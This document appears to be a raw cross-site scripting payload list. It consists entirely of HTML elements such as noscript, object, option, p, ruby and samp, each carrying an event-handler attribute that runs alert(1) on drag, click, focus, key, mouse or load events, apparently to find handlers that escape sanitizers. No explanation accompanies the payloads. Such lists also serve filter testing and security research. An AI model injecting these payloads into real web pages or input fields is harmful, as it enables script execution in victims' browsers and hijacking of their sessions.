<noframes draggable="true" ondragstart="alert(1)">test</noframes>
<noframes id=x tabindex=1 onactivate=alert(1)></noframes>
<noframes id=x tabindex=1 onbeforeactivate=alert(1)></noframes>
<noframes id=x tabindex=1 onbeforedeactivate=alert(1)></noframes><input autofocus>
<noframes id=x tabindex=1 ondeactivate=alert(1)></noframes><input id=y autofocus>
<noframes onbeforepaste="alert(1)" contenteditable>test</noframes>
<noframes onblur=alert(1) tabindex=1 id=x></noframes><input autofocus>
<noframes onclick="alert(1)">test</noframes>
<noframes oncontextmenu="alert(1)">test</noframes>
<noframes oncopy="alert(1)" contenteditable>test</noframes>
<noframes oncut="alert(1)" contenteditable>test</noframes>
<noframes ondblclick="alert(1)">test</noframes>
<noframes onfocusout=alert(1) tabindex=1 id=x></noframes><input autofocus>
<noframes onkeydown="alert(1)" contenteditable>test</noframes>
<noframes onkeypress="alert(1)" contenteditable>test</noframes>
<noframes onkeyup="alert(1)" contenteditable>test</noframes>
<noframes onmousedown="alert(1)">test</noframes>
<noframes onmouseenter="alert(1)">test</noframes>
<noframes onmouseleave="alert(1)">test</noframes>
<noframes onmousemove="alert(1)">test</noframes>
<noframes onmouseout="alert(1)">test</noframes>
<noframes onmouseover="alert(1)">test</noframes>
<noframes onmouseup="alert(1)">test</noframes>
<noscript draggable="true" ondrag="alert(1)">test</noscript>
<noscript draggable="true" ondragend="alert(1)">test</noscript>
<noscript draggable="true" ondragenter="alert(1)">test</noscript>
<noscript draggable="true" ondragleave="alert(1)">test</noscript>
<noscript draggable="true" ondragstart="alert(1)">test</noscript>
<noscript id=x tabindex=1 onactivate=alert(1)></noscript>
<noscript id=x tabindex=1 onbeforeactivate=alert(1)></noscript>
<noscript id=x tabindex=1 onbeforedeactivate=alert(1)></noscript><input autofocus>
<noscript id=x tabindex=1 ondeactivate=alert(1)></noscript><input id=y autofocus>
<noscript onbeforepaste="alert(1)" contenteditable>test</noscript>
<noscript onblur=alert(1) tabindex=1 id=x></noscript><input autofocus>
<noscript onclick="alert(1)">test</noscript>
<noscript oncontextmenu="alert(1)">test</noscript>
<noscript oncopy="alert(1)" contenteditable>test</noscript>
<noscript oncut="alert(1)" contenteditable>test</noscript>
<noscript ondblclick="alert(1)">test</noscript>
<noscript onfocusout=alert(1) tabindex=1 id=x></noscript><input autofocus>
<noscript onkeydown="alert(1)" contenteditable>test</noscript>
<noscript onkeypress="alert(1)" contenteditable>test</noscript>
<noscript onkeyup="alert(1)" contenteditable>test</noscript>
<noscript onmousedown="alert(1)">test</noscript>
<noscript onmouseenter="alert(1)">test</noscript>
<noscript onmouseleave="alert(1)">test</noscript>
<noscript onmousemove="alert(1)">test</noscript>
<noscript onmouseout="alert(1)">test</noscript>
<noscript onmouseover="alert(1)">test</noscript>
<noscript onmouseup="alert(1)">test</noscript>
<object data=/ onreadystatechange=alert(1)>
<object draggable="true" ondrag="alert(1)">test</object>
<object draggable="true" ondragend="alert(1)">test</object>
<object draggable="true" ondragenter="alert(1)">test</object>
<object draggable="true" ondragleave="alert(1)">test</object>
<object draggable="true" ondragstart="alert(1)">test</object>
<object id=x tabindex=1 onactivate=alert(1)></object>
<object id=x tabindex=1 onbeforeactivate=alert(1)></object>
<object id=x tabindex=1 onbeforedeactivate=alert(1)></object><input autofocus>
<object id=x tabindex=1 ondeactivate=alert(1)></object><input id=y autofocus>
<object onbeforepaste="alert(1)" contenteditable>test</object>
<object onblur=alert(1) tabindex=1 id=x></object><input autofocus>
<object onclick="alert(1)">test</object>
<object oncontextmenu="alert(1)">test</object>
<object oncopy="alert(1)" contenteditable>test</object>
<object oncut="alert(1)" contenteditable>test</object>
<object ondblclick="alert(1)">test</object>
<object onfocusout=alert(1) tabindex=1 id=x></object><input autofocus>
<object onkeydown="alert(1)" contenteditable>test</object>
<object onkeypress="alert(1)" contenteditable>test</object>
<object onkeyup="alert(1)" contenteditable>test</object>
<object onmousedown="alert(1)">test</object>
<object onmouseenter="alert(1)">test</object>
<object onmouseleave="alert(1)">test</object>
<object onmousemove="alert(1)">test</object>
<object onmouseout="alert(1)">test</object>
<object onmouseover="alert(1)">test</object>
<object onmouseup="alert(1)">test</object>
<ol draggable="true" ondrag="alert(1)">test</ol>
<ol draggable="true" ondragend="alert(1)">test</ol>
<ol draggable="true" ondragenter="alert(1)">test</ol>
<ol draggable="true" ondragleave="alert(1)">test</ol>
<ol draggable="true" ondragstart="alert(1)">test</ol>
<ol id=x tabindex=1 onactivate=alert(1)></ol>
<ol id=x tabindex=1 onbeforeactivate=alert(1)></ol>
<ol id=x tabindex=1 onbeforedeactivate=alert(1)></ol><input autofocus>
<ol id=x tabindex=1 ondeactivate=alert(1)></ol><input id=y autofocus>
<ol onbeforepaste="alert(1)" contenteditable>test</ol>
<ol onblur=alert(1) tabindex=1 id=x></ol><input autofocus>
<ol onclick="alert(1)">test</ol>
<ol oncontextmenu="alert(1)">test</ol>
<ol oncopy="alert(1)" contenteditable>test</ol>
<ol oncut="alert(1)" contenteditable>test</ol>
<ol ondblclick="alert(1)">test</ol>
<ol onfocusout=alert(1) tabindex=1 id=x></ol><input autofocus>
<ol onkeydown="alert(1)" contenteditable>test</ol>
<ol onkeypress="alert(1)" contenteditable>test</ol>
<ol onkeyup="alert(1)" contenteditable>test</ol>
<ol onmousedown="alert(1)">test</ol>
<ol onmouseenter="alert(1)">test</ol>
<ol onmouseleave="alert(1)">test</ol>
<ol onmousemove="alert(1)">test</ol>
<ol onmouseout="alert(1)">test</ol>
<ol onmouseover="alert(1)">test</ol>
<ol onmouseup="alert(1)">test</ol>
<optgroup draggable="true" ondrag="alert(1)">test</optgroup>
<optgroup draggable="true" ondragend="alert(1)">test</optgroup>
<optgroup draggable="true" ondragenter="alert(1)">test</optgroup>
<optgroup draggable="true" ondragleave="alert(1)">test</optgroup>
<optgroup draggable="true" ondragstart="alert(1)">test</optgroup>
<optgroup id=x tabindex=1 onactivate=alert(1)></optgroup>
<optgroup id=x tabindex=1 onbeforeactivate=alert(1)></optgroup>
<optgroup id=x tabindex=1 onbeforedeactivate=alert(1)></optgroup><input autofocus>
<optgroup id=x tabindex=1 ondeactivate=alert(1)></optgroup><input id=y autofocus>
<optgroup onbeforepaste="alert(1)" contenteditable>test</optgroup>
<optgroup onblur=alert(1) tabindex=1 id=x></optgroup><input autofocus>
<optgroup onclick="alert(1)">test</optgroup>
<optgroup oncontextmenu="alert(1)">test</optgroup>
<optgroup oncopy="alert(1)" contenteditable>test</optgroup>
<optgroup oncut="alert(1)" contenteditable>test</optgroup>
<optgroup ondblclick="alert(1)">test</optgroup>
<optgroup onfocusout=alert(1) tabindex=1 id=x></optgroup><input autofocus>
<optgroup onkeydown="alert(1)" contenteditable>test</optgroup>
<optgroup onkeypress="alert(1)" contenteditable>test</optgroup>
<optgroup onkeyup="alert(1)" contenteditable>test</optgroup>
<optgroup onmousedown="alert(1)">test</optgroup>
<optgroup onmouseenter="alert(1)">test</optgroup>
<optgroup onmouseleave="alert(1)">test</optgroup>
<optgroup onmousemove="alert(1)">test</optgroup>
<optgroup onmouseout="alert(1)">test</optgroup>
<optgroup onmouseover="alert(1)">test</optgroup>
<optgroup onmouseup="alert(1)">test</optgroup>
<option draggable="true" ondrag="alert(1)">test</option>
<option draggable="true" ondragend="alert(1)">test</option>
<option draggable="true" ondragenter="alert(1)">test</option>
<option draggable="true" ondragleave="alert(1)">test</option>
<option draggable="true" ondragstart="alert(1)">test</option>
<option id=x tabindex=1 onactivate=alert(1)></option>
<option id=x tabindex=1 onbeforeactivate=alert(1)></option>
<option id=x tabindex=1 onbeforedeactivate=alert(1)></option><input autofocus>
<option id=x tabindex=1 ondeactivate=alert(1)></option><input id=y autofocus>
<option onbeforepaste="alert(1)" contenteditable>test</option>
<option onblur=alert(1) tabindex=1 id=x></option><input autofocus>
<option onclick="alert(1)">test</option>
<option oncontextmenu="alert(1)">test</option>
<option oncopy="alert(1)" contenteditable>test</option>
<option oncut="alert(1)" contenteditable>test</option>
<option ondblclick="alert(1)">test</option>
<option onfocusout=alert(1) tabindex=1 id=x></option><input autofocus>
<option onkeydown="alert(1)" contenteditable>test</option>
<option onkeypress="alert(1)" contenteditable>test</option>
<option onkeyup="alert(1)" contenteditable>test</option>
<option onmousedown="alert(1)">test</option>
<option onmouseenter="alert(1)">test</option>
<option onmouseleave="alert(1)">test</option>
<option onmousemove="alert(1)">test</option>
<option onmouseout="alert(1)">test</option>
<option onmouseover="alert(1)">test</option>
<option onmouseup="alert(1)">test</option>
<output draggable="true" ondrag="alert(1)">test</output>
<output draggable="true" ondragend="alert(1)">test</output>
<output draggable="true" ondragenter="alert(1)">test</output>
<output draggable="true" ondragleave="alert(1)">test</output>
<output draggable="true" ondragstart="alert(1)">test</output>
<output id=x tabindex=1 onactivate=alert(1)></output>
<output id=x tabindex=1 onbeforeactivate=alert(1)></output>
<output id=x tabindex=1 onbeforedeactivate=alert(1)></output><input autofocus>
<output id=x tabindex=1 ondeactivate=alert(1)></output><input id=y autofocus>
<output onbeforepaste="alert(1)" contenteditable>test</output>
<output onblur=alert(1) tabindex=1 id=x></output><input autofocus>
<output onclick="alert(1)">test</output>
<output oncontextmenu="alert(1)">test</output>
<output oncopy="alert(1)" contenteditable>test</output>
<output oncut="alert(1)" contenteditable>test</output>
<output ondblclick="alert(1)">test</output>
<output onfocusout=alert(1) tabindex=1 id=x></output><input autofocus>
<output onkeydown="alert(1)" contenteditable>test</output>
<output onkeypress="alert(1)" contenteditable>test</output>
<output onkeyup="alert(1)" contenteditable>test</output>
<output onmousedown="alert(1)">test</output>
<output onmouseenter="alert(1)">test</output>
<output onmouseleave="alert(1)">test</output>
<output onmousemove="alert(1)">test</output>
<output onmouseout="alert(1)">test</output>
<output onmouseover="alert(1)">test</output>
<output onmouseup="alert(1)">test</output>
<p draggable="true" ondrag="alert(1)">test</p>
<p draggable="true" ondragend="alert(1)">test</p>
<p draggable="true" ondragenter="alert(1)">test</p>
<p draggable="true" ondragleave="alert(1)">test</p>
<p draggable="true" ondragstart="alert(1)">test</p>
<p id=x tabindex=1 onactivate=alert(1)></p>
<p id=x tabindex=1 onbeforeactivate=alert(1)></p>
<p id=x tabindex=1 onbeforedeactivate=alert(1)></p><input autofocus>
<p id=x tabindex=1 ondeactivate=alert(1)></p><input id=y autofocus>
<p onbeforepaste="alert(1)" contenteditable>test</p>
<p onblur=alert(1) tabindex=1 id=x></p><input autofocus>
<p onclick="alert(1)">test</p>
<p oncontextmenu="alert(1)">test</p>
<p oncopy="alert(1)" contenteditable>test</p>
<p oncut="alert(1)" contenteditable>test</p>
<p ondblclick="alert(1)">test</p>
<p onfocusout=alert(1) tabindex=1 id=x></p><input autofocus>
<p onkeydown="alert(1)" contenteditable>test</p>
<p onkeypress="alert(1)" contenteditable>test</p>
<p onkeyup="alert(1)" contenteditable>test</p>
<p onmousedown="alert(1)">test</p>
<p onmouseenter="alert(1)">test</p>
<p onmouseleave="alert(1)">test</p>
<p onmousemove="alert(1)">test</p>
<p onmouseout="alert(1)">test</p>
<p onmouseover="alert(1)">test</p>
<p onmouseup="alert(1)">test</p>
<param draggable="true" ondrag="alert(1)">test</param>
<param draggable="true" ondragend="alert(1)">test</param>
<param draggable="true" ondragenter="alert(1)">test</param>
<param draggable="true" ondragleave="alert(1)">test</param>
<param draggable="true" ondragstart="alert(1)">test</param>
<param id=x tabindex=1 onactivate=alert(1)></param>
<param id=x tabindex=1 onbeforeactivate=alert(1)></param>
<param id=x tabindex=1 onbeforedeactivate=alert(1)></param><input autofocus>
<param id=x tabindex=1 ondeactivate=alert(1)></param><input id=y autofocus>
<param onbeforepaste="alert(1)" contenteditable>test</param>
<param onblur=alert(1) tabindex=1 id=x></param><input autofocus>
<param onclick="alert(1)">test</param>
<param oncontextmenu="alert(1)">test</param>
<param oncopy="alert(1)" contenteditable>test</param>
<param oncut="alert(1)" contenteditable>test</param>
<param ondblclick="alert(1)">test</param>
<param onfocusout=alert(1) tabindex=1 id=x></param><input autofocus>
<param onkeydown="alert(1)" contenteditable>test</param>
<param onkeypress="alert(1)" contenteditable>test</param>
<param onkeyup="alert(1)" contenteditable>test</param>
<param onmousedown="alert(1)">test</param>
<param onmouseenter="alert(1)">test</param>
<param onmouseleave="alert(1)">test</param>
<param onmousemove="alert(1)">test</param>
<param onmouseout="alert(1)">test</param>
<param onmouseover="alert(1)">test</param>
<param onmouseup="alert(1)">test</param>
<picture draggable="true" ondrag="alert(1)">test</picture>
<picture draggable="true" ondragend="alert(1)">test</picture>
<picture draggable="true" ondragenter="alert(1)">test</picture>
<picture draggable="true" ondragleave="alert(1)">test</picture>
<picture draggable="true" ondragstart="alert(1)">test</picture>
<picture id=x tabindex=1 onactivate=alert(1)></picture>
<picture id=x tabindex=1 onbeforeactivate=alert(1)></picture>
<picture id=x tabindex=1 onbeforedeactivate=alert(1)></picture><input autofocus>
<picture id=x tabindex=1 ondeactivate=alert(1)></picture><input id=y autofocus>
<picture onbeforepaste="alert(1)" contenteditable>test</picture>
<picture onblur=alert(1) tabindex=1 id=x></picture><input autofocus>
<picture onclick="alert(1)">test</picture>
<picture oncontextmenu="alert(1)">test</picture>
<picture oncopy="alert(1)" contenteditable>test</picture>
<picture oncut="alert(1)" contenteditable>test</picture>
<picture ondblclick="alert(1)">test</picture>
<picture onfocusout=alert(1) tabindex=1 id=x></picture><input autofocus>
<picture onkeydown="alert(1)" contenteditable>test</picture>
<picture onkeypress="alert(1)" contenteditable>test</picture>
<picture onkeyup="alert(1)" contenteditable>test</picture>
<picture onmousedown="alert(1)">test</picture>
<picture onmouseenter="alert(1)">test</picture>
<picture onmouseleave="alert(1)">test</picture>
<picture onmousemove="alert(1)">test</picture>
<picture onmouseout="alert(1)">test</picture>
<picture onmouseover="alert(1)">test</picture>
<picture onmouseup="alert(1)">test</picture>
<picture><source srcset="validimage.png"><image onloadend=alert(1)></picture>
<picture><source srcset="validimage.png"><image onloadstart=alert(1)></picture>
<picture><source srcset="validimage.png"><img onloadend=alert(1)></picture>
<picture><source srcset="validimage.png"><img onloadstart=alert(1)></picture>
<plaintext draggable="true" ondrag="alert(1)">test</plaintext>
<plaintext draggable="true" ondragend="alert(1)">test</plaintext>
<plaintext draggable="true" ondragenter="alert(1)">test</plaintext>
<plaintext draggable="true" ondragleave="alert(1)">test</plaintext>
<plaintext draggable="true" ondragstart="alert(1)">test</plaintext>
<plaintext id=x tabindex=1 onactivate=alert(1)></plaintext>
<plaintext id=x tabindex=1 onbeforeactivate=alert(1)></plaintext>
<plaintext id=x tabindex=1 onbeforedeactivate=alert(1)></plaintext><input autofocus>
<plaintext id=x tabindex=1 ondeactivate=alert(1)></plaintext><input id=y autofocus>
<plaintext onbeforepaste="alert(1)" contenteditable>test</plaintext>
<plaintext onblur=alert(1) tabindex=1 id=x></plaintext><input autofocus>
<plaintext onclick="alert(1)">test</plaintext>
<plaintext oncontextmenu="alert(1)">test</plaintext>
<plaintext oncopy="alert(1)" contenteditable>test</plaintext>
<plaintext oncut="alert(1)" contenteditable>test</plaintext>
<plaintext ondblclick="alert(1)">test</plaintext>
<plaintext onfocusout=alert(1) tabindex=1 id=x></plaintext><input autofocus>
<plaintext onkeydown="alert(1)" contenteditable>test</plaintext>
<plaintext onkeypress="alert(1)" contenteditable>test</plaintext>
<plaintext onkeyup="alert(1)" contenteditable>test</plaintext>
<plaintext onmousedown="alert(1)">test</plaintext>
<plaintext onmouseenter="alert(1)">test</plaintext>
<plaintext onmouseleave="alert(1)">test</plaintext>
<plaintext onmousemove="alert(1)">test</plaintext>
<plaintext onmouseout="alert(1)">test</plaintext>
<plaintext onmouseover="alert(1)">test</plaintext>
<plaintext onmouseup="alert(1)">test</plaintext>
<pre draggable="true" ondrag="alert(1)">test</pre>
<pre draggable="true" ondragend="alert(1)">test</pre>
<pre draggable="true" ondragenter="alert(1)">test</pre>
<pre draggable="true" ondragleave="alert(1)">test</pre>
<pre draggable="true" ondragstart="alert(1)">test</pre>
<pre id=x tabindex=1 onactivate=alert(1)></pre>
<pre id=x tabindex=1 onbeforeactivate=alert(1)></pre>
<pre id=x tabindex=1 onbeforedeactivate=alert(1)></pre><input autofocus>
<pre id=x tabindex=1 ondeactivate=alert(1)></pre><input id=y autofocus>
<pre onbeforepaste="alert(1)" contenteditable>test</pre>
<pre onblur=alert(1) tabindex=1 id=x></pre><input autofocus>
<pre onclick="alert(1)">test</pre>
<pre oncontextmenu="alert(1)">test</pre>
<pre oncopy="alert(1)" contenteditable>test</pre>
<pre oncut="alert(1)" contenteditable>test</pre>
<pre ondblclick="alert(1)">test</pre>
<pre onfocusout=alert(1) tabindex=1 id=x></pre><input autofocus>
<pre onkeydown="alert(1)" contenteditable>test</pre>
<pre onkeypress="alert(1)" contenteditable>test</pre>
<pre onkeyup="alert(1)" contenteditable>test</pre>
<pre onmousedown="alert(1)">test</pre>
<pre onmouseenter="alert(1)">test</pre>
<pre onmouseleave="alert(1)">test</pre>
<pre onmousemove="alert(1)">test</pre>
<pre onmouseout="alert(1)">test</pre>
<pre onmouseover="alert(1)">test</pre>
<pre onmouseup="alert(1)">test</pre>
<progress draggable="true" ondrag="alert(1)">test</progress>
<progress draggable="true" ondragend="alert(1)">test</progress>
<progress draggable="true" ondragenter="alert(1)">test</progress>
<progress draggable="true" ondragleave="alert(1)">test</progress>
<progress draggable="true" ondragstart="alert(1)">test</progress>
<progress id=x tabindex=1 onactivate=alert(1)></progress>
<progress id=x tabindex=1 onbeforeactivate=alert(1)></progress>
<progress id=x tabindex=1 onbeforedeactivate=alert(1)></progress><input autofocus>
<progress id=x tabindex=1 ondeactivate=alert(1)></progress><input id=y autofocus>
<progress onbeforepaste="alert(1)" contenteditable>test</progress>
<progress onblur=alert(1) tabindex=1 id=x></progress><input autofocus>
<progress onclick="alert(1)">test</progress>
<progress oncontextmenu="alert(1)">test</progress>
<progress oncopy="alert(1)" contenteditable>test</progress>
<progress oncut="alert(1)" contenteditable>test</progress>
<progress ondblclick="alert(1)">test</progress>
<progress onfocusout=alert(1) tabindex=1 id=x></progress><input autofocus>
<progress onkeydown="alert(1)" contenteditable>test</progress>
<progress onkeypress="alert(1)" contenteditable>test</progress>
<progress onkeyup="alert(1)" contenteditable>test</progress>
<progress onmousedown="alert(1)">test</progress>
<progress onmouseenter="alert(1)">test</progress>
<progress onmouseleave="alert(1)">test</progress>
<progress onmousemove="alert(1)">test</progress>
<progress onmouseout="alert(1)">test</progress>
<progress onmouseover="alert(1)">test</progress>
<progress onmouseup="alert(1)">test</progress>
<q draggable="true" ondrag="alert(1)">test</q>
<q draggable="true" ondragend="alert(1)">test</q>
<q draggable="true" ondragenter="alert(1)">test</q>
<q draggable="true" ondragleave="alert(1)">test</q>
<q draggable="true" ondragstart="alert(1)">test</q>
<q id=x tabindex=1 onactivate=alert(1)></q>
<q id=x tabindex=1 onbeforeactivate=alert(1)></q>
<q id=x tabindex=1 onbeforedeactivate=alert(1)></q><input autofocus>
<q id=x tabindex=1 ondeactivate=alert(1)></q><input id=y autofocus>
<q onbeforepaste="alert(1)" contenteditable>test</q>
<q onblur=alert(1) tabindex=1 id=x></q><input autofocus>
<q onclick="alert(1)">test</q>
<q oncontextmenu="alert(1)">test</q>
<q oncopy="alert(1)" contenteditable>test</q>
<q oncut="alert(1)" contenteditable>test</q>
<q ondblclick="alert(1)">test</q>
<q onfocusout=alert(1) tabindex=1 id=x></q><input autofocus>
<q onkeydown="alert(1)" contenteditable>test</q>
<q onkeypress="alert(1)" contenteditable>test</q>
<q onkeyup="alert(1)" contenteditable>test</q>
<q onmousedown="alert(1)">test</q>
<q onmouseenter="alert(1)">test</q>
<q onmouseleave="alert(1)">test</q>
<q onmousemove="alert(1)">test</q>
<q onmouseout="alert(1)">test</q>
<q onmouseover="alert(1)">test</q>
<q onmouseup="alert(1)">test</q>
<rb draggable="true" ondrag="alert(1)">test</rb>
<rb draggable="true" ondragend="alert(1)">test</rb>
<rb draggable="true" ondragenter="alert(1)">test</rb>
<rb draggable="true" ondragleave="alert(1)">test</rb>
<rb draggable="true" ondragstart="alert(1)">test</rb>
<rb id=x tabindex=1 onactivate=alert(1)></rb>
<rb id=x tabindex=1 onbeforeactivate=alert(1)></rb>
<rb id=x tabindex=1 onbeforedeactivate=alert(1)></rb><input autofocus>
<rb id=x tabindex=1 ondeactivate=alert(1)></rb><input id=y autofocus>
<rb onbeforepaste="alert(1)" contenteditable>test</rb>
<rb onblur=alert(1) tabindex=1 id=x></rb><input autofocus>
<rb onclick="alert(1)">test</rb>
<rb oncontextmenu="alert(1)">test</rb>
<rb oncopy="alert(1)" contenteditable>test</rb>
<rb oncut="alert(1)" contenteditable>test</rb>
<rb ondblclick="alert(1)">test</rb>
<rb onfocusout=alert(1) tabindex=1 id=x></rb><input autofocus>
<rb onkeydown="alert(1)" contenteditable>test</rb>
<rb onkeypress="alert(1)" contenteditable>test</rb>
<rb onkeyup="alert(1)" contenteditable>test</rb>
<rb onmousedown="alert(1)">test</rb>
<rb onmouseenter="alert(1)">test</rb>
<rb onmouseleave="alert(1)">test</rb>
<rb onmousemove="alert(1)">test</rb>
<rb onmouseout="alert(1)">test</rb>
<rb onmouseover="alert(1)">test</rb>
<rb onmouseup="alert(1)">test</rb>
<rp draggable="true" ondrag="alert(1)">test</rp>
<rp draggable="true" ondragend="alert(1)">test</rp>
<rp draggable="true" ondragenter="alert(1)">test</rp>
<rp draggable="true" ondragleave="alert(1)">test</rp>
<rp draggable="true" ondragstart="alert(1)">test</rp>
<rp id=x tabindex=1 onactivate=alert(1)></rp>
<rp id=x tabindex=1 onbeforeactivate=alert(1)></rp>
<rp id=x tabindex=1 onbeforedeactivate=alert(1)></rp><input autofocus>
<rp id=x tabindex=1 ondeactivate=alert(1)></rp><input id=y autofocus>
<rp onbeforepaste="alert(1)" contenteditable>test</rp>
<rp onblur=alert(1) tabindex=1 id=x></rp><input autofocus>
<rp onclick="alert(1)">test</rp>
<rp oncontextmenu="alert(1)">test</rp>
<rp oncopy="alert(1)" contenteditable>test</rp>
<rp oncut="alert(1)" contenteditable>test</rp>
<rp ondblclick="alert(1)">test</rp>
<rp onfocusout=alert(1) tabindex=1 id=x></rp><input autofocus>
<rp onkeydown="alert(1)" contenteditable>test</rp>
<rp onkeypress="alert(1)" contenteditable>test</rp>
<rp onkeyup="alert(1)" contenteditable>test</rp>
<rp onmousedown="alert(1)">test</rp>
<rp onmouseenter="alert(1)">test</rp>
<rp onmouseleave="alert(1)">test</rp>
<rp onmousemove="alert(1)">test</rp>
<rp onmouseout="alert(1)">test</rp>
<rp onmouseover="alert(1)">test</rp>
<rp onmouseup="alert(1)">test</rp>
<rt draggable="true" ondrag="alert(1)">test</rt>
<rt draggable="true" ondragend="alert(1)">test</rt>
<rt draggable="true" ondragenter="alert(1)">test</rt>
<rt draggable="true" ondragleave="alert(1)">test</rt>
<rt draggable="true" ondragstart="alert(1)">test</rt>
<rt id=x tabindex=1 onactivate=alert(1)></rt>
<rt id=x tabindex=1 onbeforeactivate=alert(1)></rt>
<rt id=x tabindex=1 onbeforedeactivate=alert(1)></rt><input autofocus>
<rt id=x tabindex=1 ondeactivate=alert(1)></rt><input id=y autofocus>
<rt onbeforepaste="alert(1)" contenteditable>test</rt>
<rt onblur=alert(1) tabindex=1 id=x></rt><input autofocus>
<rt onclick="alert(1)">test</rt>
<rt oncontextmenu="alert(1)">test</rt>
<rt oncopy="alert(1)" contenteditable>test</rt>
<rt oncut="alert(1)" contenteditable>test</rt>
<rt ondblclick="alert(1)">test</rt>
<rt onfocusout=alert(1) tabindex=1 id=x></rt><input autofocus>
<rt onkeydown="alert(1)" contenteditable>test</rt>
<rt onkeypress="alert(1)" contenteditable>test</rt>
<rt onkeyup="alert(1)" contenteditable>test</rt>
<rt onmousedown="alert(1)">test</rt>
<rt onmouseenter="alert(1)">test</rt>
<rt onmouseleave="alert(1)">test</rt>
<rt onmousemove="alert(1)">test</rt>
<rt onmouseout="alert(1)">test</rt>
<rt onmouseover="alert(1)">test</rt>
<rt onmouseup="alert(1)">test</rt>
<rtc draggable="true" ondrag="alert(1)">test</rtc>
<rtc draggable="true" ondragend="alert(1)">test</rtc>
<rtc draggable="true" ondragenter="alert(1)">test</rtc>
<rtc draggable="true" ondragleave="alert(1)">test</rtc>
<rtc draggable="true" ondragstart="alert(1)">test</rtc>
<rtc id=x tabindex=1 onactivate=alert(1)></rtc>
<rtc id=x tabindex=1 onbeforeactivate=alert(1)></rtc>
<rtc id=x tabindex=1 onbeforedeactivate=alert(1)></rtc><input autofocus>
<rtc id=x tabindex=1 ondeactivate=alert(1)></rtc><input id=y autofocus>
<rtc onbeforepaste="alert(1)" contenteditable>test</rtc>
<rtc onblur=alert(1) tabindex=1 id=x></rtc><input autofocus>
<rtc onclick="alert(1)">test</rtc>
<rtc oncontextmenu="alert(1)">test</rtc>
<rtc oncopy="alert(1)" contenteditable>test</rtc>
<rtc oncut="alert(1)" contenteditable>test</rtc>
<rtc ondblclick="alert(1)">test</rtc>
<rtc onfocusout=alert(1) tabindex=1 id=x></rtc><input autofocus>
<rtc onkeydown="alert(1)" contenteditable>test</rtc>
<rtc onkeypress="alert(1)" contenteditable>test</rtc>
<rtc onkeyup="alert(1)" contenteditable>test</rtc>
<rtc onmousedown="alert(1)">test</rtc>
<rtc onmouseenter="alert(1)">test</rtc>
<rtc onmouseleave="alert(1)">test</rtc>
<rtc onmousemove="alert(1)">test</rtc>
<rtc onmouseout="alert(1)">test</rtc>
<rtc onmouseover="alert(1)">test</rtc>
<rtc onmouseup="alert(1)">test</rtc>
<ruby draggable="true" ondrag="alert(1)">test</ruby>
<ruby draggable="true" ondragend="alert(1)">test</ruby>
<ruby draggable="true" ondragenter="alert(1)">test</ruby>
<ruby draggable="true" ondragleave="alert(1)">test</ruby>
<ruby draggable="true" ondragstart="alert(1)">test</ruby>
<ruby id=x tabindex=1 onactivate=alert(1)></ruby>
<ruby id=x tabindex=1 onbeforeactivate=alert(1)></ruby>
<ruby id=x tabindex=1 onbeforedeactivate=alert(1)></ruby><input autofocus>
<ruby id=x tabindex=1 ondeactivate=alert(1)></ruby><input id=y autofocus>
<ruby onbeforepaste="alert(1)" contenteditable>test</ruby>
<ruby onblur=alert(1) tabindex=1 id=x></ruby><input autofocus>
<ruby onclick="alert(1)">test</ruby>
<ruby oncontextmenu="alert(1)">test</ruby>
<ruby oncopy="alert(1)" contenteditable>test</ruby>
<ruby oncut="alert(1)" contenteditable>test</ruby>
<ruby ondblclick="alert(1)">test</ruby>
<ruby onfocusout=alert(1) tabindex=1 id=x></ruby><input autofocus>
<ruby onkeydown="alert(1)" contenteditable>test</ruby>
<ruby onkeypress="alert(1)" contenteditable>test</ruby>
<ruby onkeyup="alert(1)" contenteditable>test</ruby>
<ruby onmousedown="alert(1)">test</ruby>
<ruby onmouseenter="alert(1)">test</ruby>
<ruby onmouseleave="alert(1)">test</ruby>
<ruby onmousemove="alert(1)">test</ruby>
<ruby onmouseout="alert(1)">test</ruby>
<ruby onmouseover="alert(1)">test</ruby>
<ruby onmouseup="alert(1)">test</ruby>
<s draggable="true" ondrag="alert(1)">test</s>
<s draggable="true" ondragend="alert(1)">test</s>
<s draggable="true" ondragenter="alert(1)">test</s>
<s draggable="true" ondragleave="alert(1)">test</s>
<s draggable="true" ondragstart="alert(1)">test</s>
<s id=x tabindex=1 onactivate=alert(1)></s>
<s id=x tabindex=1 onbeforeactivate=alert(1)></s>
<s id=x tabindex=1 onbeforedeactivate=alert(1)></s><input autofocus>
<s id=x tabindex=1 ondeactivate=alert(1)></s><input id=y autofocus>
<s onbeforepaste="alert(1)" contenteditable>test</s>
<s onblur=alert(1) tabindex=1 id=x></s><input autofocus>
<s onclick="alert(1)">test</s>
<s oncontextmenu="alert(1)">test</s>
<s oncopy="alert(1)" contenteditable>test</s>
<s oncut="alert(1)" contenteditable>test</s>
<s ondblclick="alert(1)">test</s>
<s onfocusout=alert(1) tabindex=1 id=x></s><input autofocus>
<s onkeydown="alert(1)" contenteditable>test</s>
<s onkeypress="alert(1)" contenteditable>test</s>
<s onkeyup="alert(1)" contenteditable>test</s>
<s onmousedown="alert(1)">test</s>
<s onmouseenter="alert(1)">test</s>
<s onmouseleave="alert(1)">test</s>
<s onmousemove="alert(1)">test</s>
<s onmouseout="alert(1)">test</s>
<s onmouseover="alert(1)">test</s>
<s onmouseup="alert(1)">test</s>
<samp draggable="true" ondrag="alert(1)">test</samp>
<samp draggable="true" ondragend="alert(1)">test</samp>
<samp draggable="true" ondragenter="alert(1)">test</samp>
<samp draggable="true" ondragleave="alert(1)">test</samp>
<samp draggable="true" ondragstart="alert(1)">test</samp>
<samp id=x tabindex=1 onactivate=alert(1)></samp>
<samp id=x tabindex=1 onbeforeactivate=alert(1)></samp>
<samp id=x tabindex=1 onbeforedeactivate=alert(1)></samp><input autofocus>
<samp id=x tabindex=1 ondeactivate=alert(1)></samp><input id=y autofocus>
<samp onbeforepaste="alert(1)" contenteditable>test</samp>
<samp onblur=alert(1) tabindex=1 id=x></samp><input autofocus>
<samp onclick="alert(1)">test</samp>
<samp oncontextmenu="alert(1)">test</samp>
<samp oncopy="alert(1)" contenteditable>test</samp>
<samp oncut="alert(1)" contenteditable>test</samp>
<samp ondblclick="alert(1)">test</samp>
<samp onfocusout=alert(1) tabindex=1 id=x></samp><input autofocus>
<samp onkeydown="alert(1)" contenteditable>test</samp>
<samp onkeypress="alert(1)" contenteditable>test</samp>
<samp onkeyup="alert(1)" contenteditable>test</samp>
<samp onmousedown="alert(1)">test</samp>
<samp onmouseenter="alert(1)">test</samp>
<samp onmouseleave="alert(1)">test</samp>
<samp onmousemove="alert(1)">test</samp>
